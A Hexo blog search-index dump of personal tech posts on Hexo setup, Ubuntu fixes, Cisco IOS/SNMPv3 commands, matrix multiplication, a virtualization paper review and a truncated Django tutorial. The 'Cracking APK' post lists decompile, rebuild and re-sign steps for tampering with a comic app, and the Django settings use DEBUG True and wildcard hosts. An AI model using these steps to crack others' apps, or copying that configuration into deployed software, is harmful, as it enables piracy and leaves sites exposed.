~/.nvm/nvm.sh\n\nFish並沒有辦法直接執行NVM, 所以必須要使用其他Shell或原生的Shell。\n或者你可以參考我的另外一篇文章…\n\n檢查一下NVM確實安裝了。\n$ nvm versionv9.11.1\n安裝 NPM\n透過指令安裝穩定版NPM。 nvm install stable\n$ npm -version5.6.0\n安裝 Git\n\nLinux(Ubuntu, Debian): $ sudo apt-get install git\nLinux(Fedora, RedHat, CentOS, Arch…etc): 抱歉我沒用過哈哈哈…\n\n安裝 Hexo\n全部都裝好之後,\n就可以透過npm來安裝Hexo：\n$ npm install -g hexo-cli\nHexo 使用\n使用Hexo以前, 首先你必須要先初始化hexo\n這個動作會由hexo來自行clone一個最基礎的blog檔案結構\n$ hexo init // 當前目錄初始化$ hexo init [folder] // 指定目錄初始化 > 需要注意, 無論是哪種方式執行, 目錄都必須為空。\n真的裝好了嗎？\n移動到剛才的目錄裏面,\n並且執行$ hexo server這個指令。\nhexo會自動啟動一個本地的伺服器, 預設Port為4000。\n接著直接到瀏覽器裏面連接網頁就可以了，\n你應該可以看到一個最基礎HelloWorld頁面由Hexo幫你自動建置好。\n結構\nHexo init之後，整個資料夾的結構應該看起來是： hexo folder |-> _config.yml |-> db.json |-> node_modules/ |-> package.json |-> package-lock.json |-> scaffolds/ |-> source/ 頁面資料夾 | |-> _post/ 文章資料夾 |-> themes/ 樣板資料夾\n一些指令\nhexo clean\n清除所有hexo生成的靜態網頁，確保每次的產出都一致。\nhexo generate\n將目前所有的內容產出靜態網頁, 並且放置於public資料夾。\nhexo server\n開啟一個本地的測試伺服器已供瀏覽效果。\nhexo deploy\n將內容佈署到遠端伺服器。\n一個正常的流程\n除了hexo\nserver這個指令以外，還有其他幾個指令是Post一篇文章基本需要的。 1. hexo\nclean\n2. hexo new (page name)\n3. (Edit your post’s markdown.\n4. hexo server // for debug.\n5. hexo deploy\nhexo的server很不錯，每次在編輯Post的Markdown存檔的時候，\n會自動偵測diff然後馬上反應，所以不需要一直反覆的重開server來看效果,\n所以基本上寫一篇文章, 就是不斷的編輯,\n然後切換視窗看當前的即時效果直到滿意，\n最後就可以deploy去佈署，那樣就完成一篇文章的產出，以及釋出了。\n","categories":["Application"],"tags":["Hexo","Git","CI"]},{"title":"Cracking APK","url":"/2018/05/01/life_geeking/Cracking-APK/","content":"謹記念某漫畫App Crack經歷。\n\nEnviorement\nUbuntu 16.04.02 LTS 64bit\nJava 7 or newer.(JRE)\n*JDK only require jarsigner\nTools\n\nApktools\njd-gui\ndex2jar*\n\n* dex2jar裏面是一陀sh，載下來解壓縮就可以直接使用了。\nKey Generate\nkeytool -genkey -v -keystore android.keystore -alias android.keystore -keyalg RSA -validity 20000\nApktools\nDecompile a apk\napktool d <APK_NAME.apk> \nBuild to a apk\napktool b <APK_NAME.apk>\nDecompile will make a new folder same name as apk.\nBuild will to into /dist/\nNote Webs\n人人都會的\nAndroid Apk 反編譯\nSmali–Dalvik虚拟机指令语言–>【android_smali语法学习一】\n補丁(patch)的製作與應用\nAndroid逆向之smali语法宝典\nsmali语句类的静态成员查看，invoke-virtual、invoke-direct、invoke-super解释\nImobileSdkAd\n直接從\nGoogle Play 商店下載 app apk 檔到電腦\n","categories":["LifeGeeking"],"tags":["Note","Android"]},{"title":"Fish with NVM, Be friendly ok?","url":"/2018/04/10/life_geeking/Fish-with-NVM/","content":"Recently I am trying to use nvm under fish.\nBut it seems not so well.\n\n# edc/bass\nBy installing a plugin in fish,\nThis plugin can execute command for users.\nBut i haven’t find any good solution to automatically run this plugin\nwhile starting fish.\nTricky part\nI can’t find ways to do so.\nBut i saw fish’s function define is cool and fancy.\nSo open my fish config folder, in functions folder,\nI create a fish command named nvm.fish,\ninside it, simply define a function which call bass plugin to load\nnvm.sh in $NVM_DIR\nI put my config on github right here\nand this\nis the file what i added.\ndetail usage of bass, you can see at here.\nBad news\nTruth is, i still can’t automatically load npm itself.\nAnd i have totally no idea.\nEvery time after fish inited. it still can not recornize nvm and npm\ncommand.\nBUT, nvm command will load as fish’s customize command,\nthat’s way a new fish shell after generated can recornize nvm,\nand yet, before nvm been ‘execute’ on time,\nos can not recornize any package under nvm.\nSo that’s way a new fish shell can execute nvm but not npm command\nafter inited.\nI guess i have to find more tricky magic to run a nvm after inited.\n","categories":["LifeGeeking"],"tags":["Fish","Linux","NVM","NPM"]},{"title":"Unix got telents(holes).","url":"/2018/04/11/life_geeking/Unix-Hole-Is-So-Deep/","content":"紀錄一下踩過Unix系的天坑。\n ## System\n+ Ubuntu\nOS: Unbuntu 16.04.4 LTS X86_64\nKernel: 4.13.0-38.generic\nPackages: 2230\nShell: fish 2.2.0\nDE: GNOME 3.20.4\n+ Arch\n還沒衝動。等我換SSD哈哈哈。\nSoftware\ngcin\n我一直不知道是什麼問題, 然後讓我的gcin完全沒辦法切換中文。\n又用很莫名其妙的方法修好…. #### 無法切換中文\n除了把自己的config檢查好以外。\n我試過各種莫名其妙的方法去修，但是都修不好。\n最後誤打誤撞弄好的，我還是不知道發生什麼事情…\n# 如果沒有gnome-language-selector \n$ sudo apt-get install language-selector-gnome \n# 重新安裝gcin 重裝最快了... \n$ sudo apt-get remove --purge gcin \n$ sudo apt-get install gcin\n# 開啟gnome-language-selector \n$ gnome-language-selector \n最後在輸入法選擇gcin，關閉。\nphonetic-keyboard- is not\nvalid\nCannot open\n/usr/share/gcin/table/X@.kbm\n在點擊gcin-tool -> gcin注音/詞音/拼音 設定的時候會跳出。\n兩種問題解決辦法都一樣…\n$ rm ~/.gcin/config/phonetic-keyboard*\nReference: http://hyperrate.com\nDummy-Ouput\n安裝了一堆佈景, 有的用手裝, 有的從GitHub叉下來Make,\n似乎弄壞很多東西。 音效卡就是其中一個。\n大膽推測是因為之前在裝的過程有upgrade，所以有玩壞。\n找了一下Sol, 後遺症就是原本電腦用Fn +\nVolume的時候會有調整音量的聲音，這次修好之後， 就沒有了QQQ。\n$ sudo apt-get remove --purge alsa-base\n$ sudo apt-get remove --purge pulseaudio\n$ sudo apt-get install alsa-base\n$ sudo apt-get install pulseaudio\n$ sudo alsa force-reload\nReference: Ubuntu\nForums\n","categories":["LifeGeeking"],"tags":["Note","Linux","Ubuntu"]},{"title":"Magic C & C++","url":"/2018/04/10/note/C-C++/","content":"這裏面放了一些石破天驚之類的想法，然後搜尋之後得到的解答。\n可能還會有很多奇怪小伙伴的垃圾話。\n\nWhy pointer declartion\nneeds a datatype?\n今天上課上到一半，鄰座的同學君突然問我為什麼Pointer要有型態。\n同樣都是存記憶體位置，int* 跟float*的指標並不會不一樣。\n後來查了之後才知道, 因為datatype所佔的記憶體大小各自不一，\ncompiler除了要知道記憶體起始位置以外，還需要知道所佔的長度，才可以取值。\nReference: StackOverFlow\n","categories":["Note"],"tags":["Note","C","C++","Programming"]},{"title":"Cisco IOS commands","url":"/2018/11/07/note/CISCO-IOS/","content":"各種Cisco設定。 \nMiscellaneous\nHostname\n(config)# hostname 'hostname'\nMotd\n(config)# banner motd 'motd'\nPasswords\nLine password.(config)# line 'console'(config-line)# password 'password'(config-line)# loginNomral EXEC password.(config)# enable password 'password'Secret EXEC password.(config)# enable secret 'secret'\nUsername\n(config)# username *name* {nopassword | password *password* | password *encryption-type* *encrypted-password*}Ex:(config)# username *name* password *password* <-- Password will not encrypt.(config)# username *name* [access-class *number*](config)# username *name* [privilege *level*]\nReference\nBlockfor\n(config-if)# login block-for 'seconds' attempts 'minutes' within 'seconds' \nInactivity timeout\n(config)# line vty *line_number* [*ending_line_number*](config-line)# exec-timeout 'minutes' 'seconds'\nDefault Gateway\n(config)# ip default-gateway ‘gateway’\nSSH login\nSet username\nReference on top.\nSet domain and encrypt key\n(config)# ip domain-name domain name (config)# crypto key\ngenerate rsa <– Make a RSA key. How many bit in the modulus[512]:\n1024 <– Use 1024 bit to encrypt(default 512)\nEnable SSH\n(config)# ip ssh version [1 | 2] (config)# ip ssh {timeout\nseconds | authentication-retries number} (config)#\nline vty line_number [ending_line_number]\n(config-line)# login ssh (config-line)# transport input ssh <– Enable\nssh\n","categories":["Note"],"tags":["Note","Cisco"]},{"title":"Let the Hexo fly for a while.","url":"/2018/04/10/note/Hexo/","content":"大小事紀錄。 搞不好會變成什麼NexT協助開發日誌XDDDD”\n可以當吃泡麵的小故事看一看，如果是純技術向，可能要下拉跳過中間。\n\nNexT Theme\nFeature A: Date & Time\n剛剛一直在找Front-Matter為什麼沒辦法顯示文章上次編輯時間的原因。\n後來才赫然發現, post_meta的設定當中,\nupdated_diff的判定居然只有到date。\n所以我今天寫的文章，編輯過後都顯示不出來的原因就是這個…\nPart I\n於是就想說去NexT提一下Feature。\n稍微改了一下原本 next/layout/_marco/post.swig的內容。\n讓hexo config裡面的date_format跟time_format可以merge在一起。\n詳細可以參考這個PR，剛開，還熱的。\nPart II\n本來在耍廢，耍到一半突然NexT的ivan-nginx送了一個comment過來。\n是大神comment我還不排除萬難看懂它哈哈哈哈。\n因為我PR丟出去之後，還有稍微討論了一下Code的部份，因為後來睡醒之後想想覺得業務邏輯寫起來好像怪怪的。\n的確經過程式碼修正之後，是可以正確的判斷文章需不需要顯示更新時間，\n但是那個前提是在有將旗標打開來強制merge出datetime格式。\n如果沒開旗標的話，判斷還是只有到date而沒有time。\n所以我後來跟ivan講說這一塊我會再修好。\n他也很豪爽的說我的PR沒什麼問題，修了一個bug還新增一個future是一石二鳥XD\n然後後來他送了的這個comment是跟Hexo的ejs模板中的方法，提供一個很簡便函數讓我們呼叫然後按照指定格式輸出，\n預設自動把date跟time給merge在一起。\n根本就是為了我這個Feature設計的。\n接下來就碰到問題啦…NexT用的模板引擎是Swig，可是Hexo用的是ejs，這兩個是沒辦法相容的。\n我本來還想說用Swig的Syntax下去硬試，結果hexo\nserver噴的我滿臉都是豆花，\n後來又問了ivan才發現我Syntax打錯了….\nFunction的設計有關注到Swig跟Ejs, 那個不是原生的模板方法,\n所以可以直接調用…\n第一次大Repo送PR就出糗XDDDDDDDDDDDDDDDDDDDDD\n後續\n\nPlugins\n6.1.4版本中，安裝插件並不需要在_config.yml配置檔案裏面新增任何plugins欄位。\n只需要配置插件自身的設定選項即可。\n剛剛不知道哪裡看到的，要增加一個plugins欄位。\n結果加上去就完全不會生成靜態網頁了…\n","categories":["Note"],"tags":["Note","Hexo","NexT"]},{"title":"Lets-Macbuntu","url":"/2018/04/11/note/Lets-Macbuntu/","content":"因為沒錢，只好土砲。\n\nDocky\n這個真的是一個很棒的Desktop工具,\n其中幾個設定調整好之後，根本macOS。\n$ sudo add-apt repository ppa:docky-core/stable && apt-get update\n$ sudo apt-get purge docky\n$ sudo apt-get install docky \n","categories":["Note"],"tags":["Note","Ubuntu"]},{"title":"MatMul: Matrix Multiplication","url":"/2025/04/30/note/MatMul_zhTW/","content":"記錄一下今天面試的問題，發現沒有搞清楚矩陣以及行列(欄列)的定義。\n\nQ\n\n給定兩個矩陣，不定長度，請寫出矩陣相乘的程式碼。\n\n直行橫列(直欄橫列)\nExcel中為欄名列號(A欄、B欄；1列、2列)\n台灣與中國，行與列的稱呼法互為相反，所以多用row &\ncolumn來統一表示較為易懂避免認知落差。\nWhat is Matrix?\n矩陣大小表示法為m * n, m rows, n columns。\n如圖是一個2 * 3大小的矩陣，其中列(row)為2、行(column)為3。\n\\[\nA=\n\\begin{bmatrix}\n 1 & 2 & 3 \\\\\n 4 & 5 & 6 \\\\\n\\end{bmatrix}\n\\]\nMatMul(Matrix Multiplication)\n設A爲n * m的矩陣、B爲m * p的矩陣。\n則A以及B可以進行矩陣相乘得到一個n * p大小的矩陣積。\n\\[\nA=\n\\begin{bmatrix}\n 1 & 2 & 3 \\\\\n 4 & 5 & 6 \\\\\n\\end{bmatrix}\n\\] \\[\nB=\n\\begin{bmatrix}\n 7 & 8 \\\\\n 9 & 10 \\\\\n 11 & 12 \\\\\n\\end{bmatrix}\n\\] \\[\nResult=\n\\begin{bmatrix}\n [(1 * 7) + (2 * 9) + (3 * 11)] & [(1 * 8) + (2 * 10) + (3 * 12)]\n\\\\\n [(4 * 7) + (5 * 9) + (6 * 11)] & [(4 * 8) + (5 * 10) + (6 * 12)]\n\\\\\n\\end{bmatrix}\n=\n\\begin{bmatrix}\n 58 & 64 \\\\\n 139 & 154 \\\\\n\\end{bmatrix}\n\\]\nPython\ndef multiple(a: list[list[int]], b: list[list[int]]): a_row_len = len(a) a_column_len = len(a[0]) b_row_len = len(b) b_column_len = len(b[0]) if a_column_len != b_row_len: raise ValueError("Unable to multiple") result_matrix = [ [0 for _ in range(b_column_len)] for _ in range(a_row_len) ] for i in range(a_row_len): for j in range(b_column_len): summation = 0 for k in range(b_row_len): summation += a[i][k] * b[k][j] result_matrix[i][j] = summation return result_matrix\n","categories":["Note"],"tags":["Note"]},{"title":"(C++OOP) Why BJ is always making people annoying?","url":"/2018/04/10/note/OOP/","content":"放點筆記，謹記念不專心上課的OOP。\n\n### Hungarian Notation\n上課要專心, 考試要唸書。\nQuiz 1 RIP.\nUpper camel: int ThisIsIntVariable;\nLower camel: int thisIsIntVariable;\n","categories":["Note"],"tags":["Note","C++","Programming","OOP"]},{"title":"SNMPv3 on Cisco switch(2950/2960/3850)","url":"/2018/11/03/note/SNMPv3-on-Cisco/","content":"謹紀錄在做專題的時候，踩過的SNMP設定小坑。 \nCheck setup in switch\nSwitch# show snmp ?\nAny command with no to remove it.\nSetups\nGroup\nSwitch(config)# snmp-server group [groupName] v3 [auth | noauth | priv] [read read-view] [write write-view] [notify notify-view] [access access-list] \nUser\nauthNoPrivSwitch(config)# snmp-server user [userName] [groupName] [remote ip-address [udp-port port]] [encrypted] v3 [auth {md5 | sha}]authPrivSwitch(config)# snmp-server user [userName] [groupName] [remote ip-address [udp-port port]] [encrypted] v3 [auth {md5 | sha} auth-password] [priv {3des|aes 128|aes 192|aes 256|des} pass]\nView\nSwitch(config)# snmp-server view view-name oid-tree {included|excluded}\nTraps\n先依序設定好Group跟User。\n# 設定接收Notification的Server位置# 如果最後面Trap Type留空，預設所有的Trap都會發送。Switch(config)# snmp-server host [ip or domain] version 3 priv [user name] [trap type]\nDebugging\nSwitch# debug snmp packets\nReference\nCisco\nWiki SNMPv3 SNMPSecurity\nSNMP\nXE 3SE (Catalyst 3850) Clean\nAccess Server Configuration Guide, Release 4.9(x) Catalyst\n2950 Desktop Switch Software Configuration Guide, 12.1(11)YJ4 Cisco设备SNMP配置(思科SNMP配置)\nSNMP MIBs\n","categories":["Note"],"tags":["Note","Cisco","2950","2960","3850"]},{"title":"慘讀: Automatic Memory Control of Multiple Virtual Machines on a Consolidated Server","url":"/2019/04/19/paper_reading/Automatic_Memory_Control_of_Multiple_Virtual%20Machines_on_a_Consolidated%20Server/","content":"不得不吐嘈對於讀論文當作作業這件事情非常的奇妙。\n其實有點陰謀論覺得是助教不想看，所以丟給我們當翻譯蒟蒻…. \n就結果而言，真的是太慘了， 這篇IEEE的論文有一種滿滿的水量感XD…\n最後是沒有看完，實在是沒有辦法在不太了解演算法的狀況之下去讀他的Evaluation.\n不過這也讓我有個啟發可以把讀過的論文大綱放上來，\n留（水）個文字紀錄？…\n這篇在ieeexplore上面可以直接看，歡迎自行開門..\n如果有什麼覺得我譯的怪怪的，或者是你看出什麼端倪了， 拜託告訴我… XD\nInformation\n\nAuthors:\n\nWei-Zhe Zhang\nHu-Cheng Xie\nChing-Hsien Hsu\n\nElectronic ISSN: 2168-7161\nDOI: 10.1109/TCC.2014.2378794\n\nIntroduction\n虛擬化技術因為雲端運算的需求而開始出現，愈來愈多的應用程式被佈署在虛擬機器中以複用實體機。雖然這些虛擬機的資源被虛擬機監控軟體（VMM）所隔離，但是自動化控制系統能夠重新分配給整合性伺服器受到限制的資源，而這有助於減少程序運行的時間以及最大化使用資源。\nCPU自動化控制系統已被廣泛的研究，但是記憶體的分時卻仍然是一個很大的課題。正常來說，記憶體在一個虛擬機被啟動時，就已經被靜態的賦予，而記憶體的大小在整個虛擬機的生命周期中並不會變化。當要求的記憶體大小達到了總實體記憶體的上限，記憶體的競爭會呈指數上升，進而造成應用程式的效能下降。虛擬化平台中的實體記憶體自動控制是一個瓶頸，限制了整個系統的效率。\n而本論文在伺服器整合部份針對記憶體控制面對了三個新的挑戰： -\n記憶體控制的工具需要更進一步的研究。為了啟動底層機制以及產生介面, Xen,\nVMware和KVM實作了page sharing, virtual hotplugs和balloon\ndriver。然而，這些機制以及介面只專注個體虛擬機中核心模式（Kernel\nmode）重新調整記憶體的底層方法。它們不能全視野的指定特定虛擬機需要重新分配記憶體或是應該獲得多少分頁（Pages）。因此，使用者模式（User\nmode）下，高層（High-Level）記憶體資訊蒐集，且全視野調節虛擬機的記憶體使用量工具是必須的。\n-\n無論記憶體狀態足夠與否，記憶體調度演算法必須要能夠自適應所有的使用場景。每一個虛擬機都能夠提交他們所需的記憶體（Commited\nMemory）在未來使用。如果所有虛擬機的commited\nmemory小於實體機的可用記憶體，該記憶體狀態即為足夠（Sufficient）否則為不足（Insufficient）。而我們的論文會著重在記憶體足夠的狀況。\n-\n前面所提到的評估與大型供應商的虛擬機整合率並不一致。雖然一些雲端計算供應商（Amazon\nEC2等）樂於透露單一實體機上所能佈署的虛擬機數量，我們保守估計一台伺服器包含10或12台虛擬機（注：不並沒有明確指出怎麼算出10到12台的數據，這邊的引用的兩個連結第一個是Amazon的Data\nCenter的Size，第二個連結已經失效。第一個該論文的疑慮點。），然而，先前的實驗被限制在最多二或四台虛擬機。這些實驗採用合成且trace-driven（這是什麼，也沒有明確指出，疑慮點二。）的工作負載。因此更多的測試以及實際的基準應該在額外的虛擬機上運行。\n在這個研究中，基於Xen balloon\ndriver設計了一個輕量的框架來控制多個虛擬機整合之下的記憶體。我們的系統實作在使用者空間（User\nspace，不知道是什麼意思？推測是指虛擬機內部。疑慮點三。）下，不需與VMM對接。對於這個框架，論文建議一個運行在Domain0的（完全沒有解釋Domain0是什麼，推測是指虛擬機個體。疑慮點四。）全域調度（Global\nScheduling）演算法。這個演算法解決一個線性方程式來獲得全域的解，且使用動態底線（Dynamic\nBaseline）來獲得記憶體狀態足夠或不足。實驗中採用實際基準作為工作負載，並且使用十個虛擬機。\nProposed\n\n演算法output 每個os的空閒記憶體(Idle\nmemory)，可以讓Hypervisor有效率的分配給其他相對有需要的OS使用，減少SWAP的次數。至於如何決定哪個OS是可以被分配者跟接收者透過讓每個VM都有一個稅率(tax)，這個價值會決定每一個OS的Memory要被調用都有一個成本價。最終達到每個成本價都是一樣的這樣Hypervisor就完成了最終任務不需要再調動。\nEx：VM1的committed memory有3G，閒置記憶體有1G；VM2的committed\nmemory有30G，閒置記憶體比較有10G，雖然兩個的使用率都是2/3，但是VM1剩下可以被調用的記憶體比較少，因此調用VM1的tax會比較高(風險比較高)，因此Hypervisor會優先把VM2的shares(Resource)調動給VM1使用。\nPseudo Global-Scheduling AlgorithmInput: N, n, N_i, A_iOutput: Nt_i 1. While true do 2. A <- Null 3. for 1 <= i <= n do 4. N_i <- xs_read(/local/domain/VM_i/mem/total); 5. F_i <- xs_read(/local/domain/VM_i/mem/free); 6. A_i = N_i - F_i 7. AppendTo(A, A_i); 8. end 9. \\tau <- calculating_idle_memory_tax(A, f);10. for 1 <= i <= n do11. Nt_i <= solve_linear_equation(N_i, A_i, \\tau);12. xs_write(Nt_i, /local/domain/VM_i/mem/target);13. xc_domain_set_pod_target(VM_i, Nt_i);14. end15. sleep(interval);16. end\nstep1\n\n找到目前VMs的committed Memory，簡稱 \\(N_i\\)\ntotal committed Memory簡稱 N\n所有VMs的數量 簡稱 n\n每個VM的free(Idle) Memory簡稱 \\(F_i\\)\n每個VM的Used Memory簡稱 \\(A_i\\)\n計算整體會調用SWAP的臨界閥值 簡稱 \\(\\xi_0\\)\n\nstep2\n\n計算當前總體的稅率(\\(\\tau\\))：\n\\(\\dfrac{\\xi_0 + max(A) -\n\\dfrac{1}{n}}{max(A_i) - avg(A_i)}\\)\n轉換稅率到每個VM成本價P \\(P_i = \\dfrac{1 -\n\\tau}{N_i - \\tau * A_1}\\)\n計算調動優先權 \\(Ni =\nlinear\\\\_equation(N_i , A_i , tax)\\)\n\nstep3\n\n寫入到Hypervisor裡面 \\(xs\\\\_write()\\)\n把分配到的新記憶體設定給每一個VM \\(xc\\\\_domain\\\\_set\\\\_pod\\\\_target(VMs ,\nN_i)\\)\n\n\nExperiment\n證實透過Automatic Memory Control，讓Hypervisor自行調整每個VM的free\nmemory(pages)藉由計算每個idle memory per\nVM的價值可以決定出先把哪個VM的資源用balloon佔住給其他VM使用，達到減少Guests\nOS呼叫Swap的次數，達到更快的境界。\n本篇論文在最後的測試階段使用了不同的測試框架諸如Mono、DaCapo、Phoronix\nTest Suite等，並且於不同VM數量下做測試。 -\nMono框架下，用了兩個VM(VM1、VM2)，測試已證實可以互相調整Memory的使用權，當VM1達到committed\nmemory上限時，記憶體控制系統會自動調配VM2的閒置記憶體供VM1使用。\nImpression\n從論文的架構來看，只能說是分崩離析。\nIntro的部分可以很明顯看出有一小部分的引用數據是不透明的，也無從得知其引用的用意在什麼地方\n實作中演算法的描述完全就是慘不忍睹，關鍵的\\(\\tau\\)參數完全沒有詳細解釋其計算公式，連其最基本的單位都沒有，讀者只能靠後面的虛擬碼以及線性方程來猜這個\\(\\tau\\)參數其所代表的意義。除此之外，\\(\\xi_0\\)參數也讓人覺得不明所以，該參數其中計算的公式為\\(\\xi_0 = \\dfrac{f}{N}\\)，而f的解釋在該文中為\nReversed free memory of VMs\n，其意義究竟是所有VM的空閒記憶體總和的倒數還是有什麼其他意涵，我想只有原作者群才有辦法理解了。\n整體來看，該論文對於讀者極度的不友善、定義不嚴謹、操作步驟不清晰，其所提供的GitHub專案連結也無明顯的維護，不知道是因為該Reporitory為Prototype的原因，或者是有其他什麼原因，作為實作參考價值來講，不甚健壯。\n","categories":["PaperReading"],"tags":["Paper Reading","Virtualization","Operating System"]},{"title":"(Django) First time teaching how to use a frontend framework.","url":"/2018/04/10/tutorial/Django/","content":"This is the tutorial for Yuntech OSC.\nEnglish version, but no any future plang to translate to zh-TW.lol\nFeel free to corect anything through PM.\nAlso we have a Gitbook version at here.\n\nInstallation\nPipe is a external import manage system. This sesction will tell you\nhow to install pipe into your ubuntu linux.\n\n~$ sudo apt-get install python3-pip\n\ninstall pip in python3\n\n~$ sudo apt-get install python3-venv\n\nvenv should contain in python3 package.If not, just apt one for\nyourself!\n\n~$ mkdir ~/django-tutorial ~$ mkdir ./django-tutorial/django-venv\n\nCreate a app folder for django in your home folder Also another\nfolder for installing virtual environment which named venv in app\nfolder.\n\n~/django-tutorial$ python3 -m venv django-venv\n\nAfter that, create your venv in django-venv folder.\n\n~/django-tutorial$ . ./django-venv/bin/active\n\nand than active your venv.\n\n(django-venv) ~/django-tutorial$\n\nIf you see there is a pair of parentheses contains your venv folder’s\nname,\nIt means you are in it!\n\n(django-venv) ~/django-tutorial$ pip install django\n\nWhich pip will handle all installation of django without root\npermission.\nBe advised that you must install every python package you need in\nvenv.\nOr it might cause any other unknown interference by other python\nscript.\n\nExamination\n\n(django-venv) ~/django-tutorial$ python\n\nopen python interpreter\n\n>>> import django\n>>> django.VERSION\n\nimport django and print it’s version\n\n(1, 11, 1, ‘final’, 0)\n\nthis shows we installed 1.11.1 version’s django.\n\nMVC & MTV Framework\nMVC\n\nModel / View / Controller\nWe don’t talk too much, just give you some concept.\nModel hook with Database or any other data storage, it’s provide an\ninterface to access with data(s).\nView defined how a page elements shows.\nand Controller responsible for receive parameter and send out after\nprocessed.\nMTV\n\nModel / Template / View\nCompare with MVC framework, MTV is more detailed define other stuff\nwhich Controller responsible for.\nAll you have to know is: Template = View, View + Urls =\nController\n\n\nOnce again, be advised that the following step should be\noperated under virtual environment.\n\n\nFirst Project and\nApplication\nStructure\n\nCommand : django-admin.py startproject (ProjectName)\n(django-venv) ~/django-tutorial$ django-admin.py startproject\nOpensource\n\nafter this command, django will create a folder named by your\n(ProjectName).\n\n(django-venv) ~/django-tutorial$ cd Opensource\n\nTree Directory will shows:\nOpensource/ (Project Folder)├─ manage.py (Django Python Console)├─ Opensource/ (Porject Settings)│ ├─ __init__.py│ ├─ settings.py│ ├─ urls.py│ └─ wsgi.py│├─ System/ (Application)│ ├─ migrations/│ │ └─ __init__.py│ ││ ├─ __init__.py│ ├─ admin.py│ ├─ apps.py│ ├─ models.py│ ├─ tests.py│ └─ views.py│├─ opensource_01/ (Application)│ ├─ migrations/│ │ └─ __init__.py│ ││ ├─ __init__.py│ ├─ admin.py│ ├─ apps.py│ ├─ models.py│ ├─ tests.py│ └─ views.py│.....││└─ opensource_XX/ (Application)├─ migrations/│ └─ __init__.py│├─ __init__.py├─ admin.py├─ apps.py├─ models.py├─ tests.py└─ views.py\nmanage.py\n\n\n\n\n\n\n\n指令\n說明\n\n\n\n\ndjango-admin.py\nstartproject <project_name>\n建立 Django 專案\n\n\npython manage.py -h\n<command_name>\n查看 Django commands 的使用方法\n\n\npython manage.py\nrunserver\n啟動開發伺服器\n\n\npython manage.py startapp\n<app_name>\n新增 Django app\n\n\n\nsettings.py\nEdit settings.py\nto host a appropreate django\nimport osBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))SECRET_KEY = ''DEBUG = True# Allowed any host to interact with this django service# DEFAULT : ALLOWED_HOSTS = []ALLOWED_HOSTS = ['*']# This tells django other applications which needs to install.INSTALLED_APPS = [ ... 'System', 'opensource_01', 'opensource_02', ... 'opensource_XX',]MIDDLEWARE = [ ... ]ROOT_URLCONF = 'Opensource.urls'TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'APP_DIRS': True, 'DIRS': [ os.path.join(BASE_DIR), ], 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, },]WSGI_APPLICATION = 'Opensource.wsgi.application'DATABASES = { 'default': { # 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 'ENGINE': 'django.db.backends.mysql', # if you want to use mongodb # First install 'django-norel' by using pip. # Second install 'django tooblox' also by pip. # Third install 'mongodb-engine' still by pip. # At last, use 'django_mongodb_engine' in 'ENGINE' like bottom as your backend. # 'ENGINE': 'django_mongodb_engine', 'NAME': 'DB_NAME', 'USER': 'DB_USER', 'PASSWORD': 'DB_PASSWD', 'HOST': 'DB_LOCATION', 'PORT': 'DB_PORT', }}AUTH_PASSWORD_VALIDATORS = [ ... ]# DEFAULT: LANGUAGE_CODE = 'en-us'LANGUAGE_CODE = 'zh-hant'# DEFAULT: TIME_ZONE = 'UTC'TIME_ZONE = 'Asia/Taipei'USE_I18N = TrueUSE_L10N = TrueUSE_TZ = TrueSTATIC_URL = '/static/'``` --- # Template / View ## TemplateBefore you create a template file to store your static HTML file.You must have a folder to manage files.> ~$ cd Opensource/opensource\\_XX/>> ~/Opensource/opensource\\_XX$ mkdir templatesAfter this, now you can create any template you want,just remember to put it into folder to make sure view.py can get it.> ~/Opensource/opensource\\_XX/templates$ vim index.htmluse vim / nano or any other editor you like.## ViewEvery pages has it's own view function.If we want to appropreate render a page with right data,we have to edit view.py first.> ~$ Opensource/opensource\\_XX/view.pyAnd this is your view.pyIt sould be empty, and only one import inside.```python from django.shortcuts import render# Create your views here.def index(request): return render(request, 'opensource_XX/templates/index.html', local())``` ## Template Rendering.Local variable render:In view.py render function:```python import datetimefrom django.shortcuts import renderimport datetime# Create your views here.def index(request): now_time = datetime.datetime.now() staff = [ 'opensource_01', 'opensource_02', 'opensource_03', 'opensource_04', 'opensource_05', 'opensource_06', 'opensource_07', 'opensource_08', 'opensource_09', 'opensource_10', 'opensource_11', 'opensource_12', 'opensource_13', 'opensource_14', 'opensource_15', 'opensource_16', 'opensource_17', 'opensource_18', 'opensource_19', 'opensource_20', 'opensource_21', 'opensource_22', 'opensource_23', 'opensource_24', 'opensource_25' ]return render(request, 'opensource_XX/templates/index.html', locals())``` now\\_time is the local\\(\\) variable in function index.and it will pass to django's render engine by locals\\(\\)In opensource\\_XX/templates/index.html### **Variable render**```python {{ now_time }}\nthis shows content of now_time variable.\nif statement \n{% if (condition) %}....{% endif %}\nFor loop statement and\nrender\n{% for each in staff %} <div>{{ each }}</div>{% endfor %}\n\nForm\nDjango has a form system to replace traditional HTML’s form Before\nmaking a form for a application, you need to create a forms.py\nfirst.\n~$ cd Opensource/opensource_XX~/Opensource/opensource_XX$ vim forms.py\nAnd put following code into it.\n# forms.pyfrom django import forms\nThat’s all!\nExample for a Login form.\nThis is a bunch of HTML code for a basic login form.\n<form> <label>Account</label> <input type="text" id="account" name="account" class="form-control" placeholder="Account" required/> <label>Password</label> <input type="password" id="password" name="password" class="form-control" placeholder="Password" required/></form>\nThe form has two field which is TextField and PasswordField. every\ntime when you design a form, you have to analysis it field structure,\nand go to django’s official form field document and seek a proper\nfield.\nThis is the website: https://docs.djangoproject.com/en/1.11/ref/forms/fields/\nIn this case. We only need CharField. Which is for reflect HTML’s\n<input> label.\nAlso, by using <input> label’s type element, we can control\nit’s display form like normal text, or a password character (*).\nWhen editing forms.py, you do like this:\nfrom django import formsclass login(forms.Form):# form's name to class's name, and extends forms.Form object account = forms.CharField( # This is one of your field name label='Account', # <label>'s content with field. required=True, # one of the element we must assign to make it required. widget=forms.TextInput(attrs= { # this dictionary can let you assign any other element that might not be support by django. 'id': 'account', # in case you have any other name way. 'class': 'form-control', # Im more prefer a Bootstrap rendering 'placeholder': 'Account', # Add more hint is always good. 'type': 'text' # This is the most important part. }) ) password = forms.CharField( label='Password', required=True, widget=forms.TextInput(attrs= { 'id': 'password', 'class': 'form-control', 'placeholder': 'Password', 'type': 'password' # DO NOT 